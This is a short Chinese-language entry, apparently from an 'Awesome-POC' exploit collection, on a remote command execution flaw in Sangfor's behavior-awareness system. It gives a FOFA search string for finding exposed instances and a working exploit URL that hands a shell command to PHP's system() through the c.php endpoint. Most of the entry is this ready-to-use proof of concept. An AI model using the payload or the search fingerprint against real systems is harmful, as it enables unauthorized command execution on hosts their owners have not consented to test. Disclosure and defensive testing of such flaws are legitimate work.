Awesome-POC/Web应用漏洞/深信服 行为感知系统 c.php 远程命令执行漏洞.md

# 深信服 行为感知系统 c.php 远程命令执行漏洞

## 漏洞描述

深信服 行为感知系统  c.php  远程命令执行漏洞，使用与EDR相同模板和部分文件导致命令执行

## 漏洞影响

```
深信服 行为感知系统
```

## FOFA

```
body="isHighPerformance : !!SFIsHighPerformance,"
```

## 漏洞复现

登录页面如下



![](./images/202202091914752.png)



访问漏洞Url



```plain
/tool/log/c.php?strip_slashes=system&host=ipconfig
```



![](./images/202202091914059.png)